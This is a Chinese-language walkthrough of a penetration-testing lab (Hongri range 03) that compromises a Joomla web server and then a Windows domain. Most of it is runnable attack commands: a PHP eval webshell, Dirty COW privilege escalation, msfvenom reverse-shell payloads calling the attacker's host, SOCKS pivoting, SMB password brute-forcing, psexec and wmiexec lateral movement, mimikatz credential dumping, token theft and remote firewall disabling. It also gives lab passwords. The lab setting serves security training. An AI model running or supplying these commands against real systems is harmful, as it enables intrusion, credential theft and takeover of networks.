红日靶场03

一,环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
黑盒测试--
出网IP 192.168.93.0/24
出网主机为centos nat网卡+VMnat2网卡
centos靶机开启后:
设置为nat模式并且重启网卡
service network restart

IP详情:
kali+CS+MSF
192.168.43.33
web-centos
192.168.93.100
192.168.43.118
web1-ubuntu
192.168.93.120
PC-win7
192.168.93.30
win 2k8
192.168.93.20
win 2012
192.168.93.10

靶场拓补图如下:

三拓补图

二,外网渗透

信息收集

主机发现

1
nmap -sP -T4 192.168.43.0/24

主机发现

端口扫描

1
2
nmap -F -T4 -sS -sV -v 192.168.43.21
nmap -A -p- -min-rate 8888 192.168.43.21

Nmap

目录扫描

1
dirsearch -u http://192.168.43.21:80

目录爆破

指纹识别

1
2
whatweb -v http://192.168.43.21
#CMS:joomla

漏洞利用

1
2
3
4
5
searchsploit joomla 3.9.12
searchsploit -m 43488.txt
cat 43488.txt
#CVE-2018-5263 -->XSS
#shellcode并没有,百度一波,也无复现博客,换个姿势继续

CVE-2018-5263

web界面

1
2
3
###web界面###
访问80端口--->类似一个博客网站
#由于CMS框架是Joomla,直接使用joomscan

​​

Joomscan

1
2
joomscan -u http://192.168.43.21/
版本:Joomla 3.9.12

joomscan

连接数据库

1
2
3
4
#访问Joomscan敏感目录,得到数据库账密
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
#直接使用navicat连接数据库

敏感目录发现数据库账密

navicat

数据库信息收集

1
2
3
#转了一圈,就发现几个有用的表
#用户admin的密码,做了加盐处理。解密失败
#换个姿势继续,尝试添加管理员账密

数据库user表

joomla库账密

添加管理员账密

1
2
3
4
5
6
7
8
9
#添加账密admin2:secret
#执行SQL语句
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
#可以看出,账户admin2添加成功

根据官方提示步骤,添加管理员账密

官方提示

添加账密joomla

登录joomscan后台

1
#192.168.93.21/administrator/index.php

​​成功登陆后台​​

上传小马

1
2
#直接写个一句话木马,为后渗透做准备
<?php eval(@$_POST['a']);phpinfo(); ?>

写入木马

蚁剑连接小马

1
URL:http://192.168.93.21/templates/beez3/web.php

蚁剑连接成功

蚁剑插件绕过命令执行

1
2
3
4
#由于蚁剑终端命令执行做了限制
#利用蚁剑插件进行绕过 --绕过disable_fuctions
#蚁剑连接新生成的木马URL
URL:http://192.168.43.21/templates/beez3/.antproxy.php

蚁剑终端提示ret=127

蚁剑插件

插件绕过命令执行

插件绕过成功

suid提权

1
#并无可用提权姿势,换个方式继续

suid提权

利用蚁剑信息收集

1
2
3
4
/tmp/mysql/tset.txt
#应该是ssh账密
adduser wwwuser
passwd wwwuser_123Aqx

tmp下存在tset文件

xshell连接wwwuser

1
2
3
4
#继续传马
#显然运行失败
#/tmp下存在passwd.bak文件
利用无果

xshell连接

psswdba文件

脏牛提权

1
2
3
4
5
#利用脏牛之前先查看Linux内核版本信息:
unmae -a
#版本号较低
#2.6.32-431------inux ubuntu 4.4.0-142-generic
#版本号大于2.6.32

EXP利用-CVE-2016-5195

1
2
3
git clone https://github.com/gbonacini/CVE-2016-5195.git
#这个EXP在靶机上跑不起来,需要sudo进行编译
#在kali本机编译后再上传,脚本是跑不起来的

上传脏牛到靶机

kali编译完后上传靶机

​![屏幕截图 2023-11-28 111430](assets/屏幕截图 2023-11-28 111430-20231130151052-9jcm8jb.png)​

EXP利用-dirtycow

1
2
3
4
5
6
7
8
9
#换个EXP,继续打
git clone https://github.com/FireFart/dirtycow
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456
rm /tmp/passwd.bak
./dirty 123456
#虽然运行莫名终止,但最终可以提权
su firefart
id

gcc

​![su 脏牛](assets/su 脏牛-20231130151149-pde8wds.png)​

Xshell连接firefart

1
2
#为了方便后续操作,直接新建会话
firefart:123456

xft新建root用户

MSF上线

1
2
3
4
5
6
7
8
9
10
11
12
13
#由于这台机器是Linux,生成elf大马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.43.33 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf > shell.elf
#开启监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.43.33
set lport 6666
run
#利用xftp上传大马到靶机
#赋予大马权限
chmod 777 shell.elf
#运行
./shell.elf

msf生成后门

运行木马

​​木马监听上线MSF

至此,拿下了外网这台机器

内网渗透

添加路由

1
2
3
4
5
6
7
#查看路由
run get_local_subnets
#添加路由
run autoroute -s 192.168.93.0/24
run autoroute -p
#挂起
background

​​MSF添加路由​​

添加代理

1
2
3
4
5
6
7
8
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 0.0.0.0
set SRVPORT 1888
run

vim /etc/proxychain4.conf
socks4 0.0.0.0 1888

socks4a

内网主机扫描

1
2
3
4
5
6
7
8
9
#扫描内网主机存活:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 10
run
#扫到了三台机器
192.168.93.30/24 win7
192.168.93.20/24 win2008
192.168.93.10/24 win-8GA56TNV3MV

主机扫描模块内网主机扫描​​

nmap探测三台主机端口

1
2
3
4
5
proxychain nmap -F -sT -v 192.168.93.10
proxychain nmap -F -sT -v 192.168.93.20
proxychain nmap -F -sT -v 192.168.93.30
#10开启389端口 -->可能是域控
#都开启了445端口,尝试爆破管理员账密

挂代理扫描10端口挂代理扫描20端口挂代理扫描30端口​​​

尝试爆破三台主机管理员账密

1
2
3
4
5
6
7
8
9
#字典需要足够大
use auxiliary/scanner/smb/smb_login
set SMBuser Administrator
set PASS_FILE /home/kali/Desktop/top999.txt
run
-->192.168.93.20 smb 123qwe!ASD
-->192.168.93.30 smb 123qwe!ASD
#已经拿到了两台win的密码,
#10这台机器出不了,可能就是域控

SMB-20出了SMB-30出了​​

四,横向渗透

psexec攻击

1
2
3
4
5
6
7
8
#利用psexec工具进行攻击192.168.93.30/20主机
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.30
run
--->20/30机器攻击成功

攻击20这台机器

也拿下win2k8--20

攻击30这台机器

psexec攻击拿下win7--30​​

定位域控

1
2
nslookup -type=SRV _ldap._tcp
#域控明显是10这台机器,和之前猜测的一样

定位域控

minikatz

1
2
3
4
5
6
7
#利用MSF的kiwi模块
load kiwi
#列出所有凭据
creds_all
#使用kiwi抓取明文密码:
kiwi_cmd sekurlsa::logonpasswords
#win7

可以看出win7这台机器上,信息极少,无用

win7加载kiwi

试试win2k8这台机器

win2k8--抓取票据

成功拿到域控账密

1
--->拿到密码:zxcASDqw123!!

尝试psexec攻击域控

1
2
3
4
5
6
7
8
9
10
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass zxcASDqw123!!
set RHOSTS 192.168.93.10
run
#攻击失败,可能是防火墙的原因
#换个姿势继续
#其它两台主机已经拿下,在win2k8上窃取管理员用户的token令牌
#这样就可以通过win2008 访问域控,然后远程关掉域控的防火墙,psexec攻击继续

psexec攻击域控失败--防火墙

窃取域控token令牌

1
2
3
4
5
6
7
8
9
10
11
12
#先利用MSF生成一个正向的木马
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.43.33 LPORT=10244 -f exe -o 244.exe
#上传244.exe
upload 244.exe
#运行244.exe
244.exe
#返回msf的shell
exit
#窃取token
use incognito
list_tokens -u
impersonate_token "TEST\Adminitrator"

窃取token成功

试试win7这台机器能否成功

win7不能窃取token

显然失败了,因为不存在

关闭域控防火墙

1
2
3
sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall
#响应超时,执行失败

Sc失败

1
2
#简直有毒
#登上去一看,他喵的这不是关了吗?

​![屏幕截图 2023-11-30 162317](assets/屏幕截图 2023-11-30 162317-20231130162404-wghe5oq.png)​

psexec继续攻击域控

1
#显然失败了,可能是防火墙的原因(鬼知道什么原因)也可能是会话连接不稳定

psexec攻击域控失败--防火墙

利用wmiexec

1
2
3
4
5
6
#kali中安装wmiexec
https://github.com/coresecurity/impacket/blob/masterexamples/wmiexec.py
#需要先下载impacket工具包,这里面有很多工具
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .
1
2
3
4
5
6
7
cd ./examples
#安装成功后,切换到examples目录下,
#运行如下命令获取目标系统192.168.93.10(域控)的shell
proxychains python3 wmiexec.py 'administrator:[email protected]'

#也可以拿到其它机器的shell
proxychains python3 wmiexec.py 'administrator:[email protected]'

拿下域控

192.168.93.20

wmiexec拿下20​​

FLAG

1
2
3
#最终在C:\Users\Adminisreator\Documents\目录下找到flag.txt
dir
type flag.txt

拿下flag

Sessions

sessions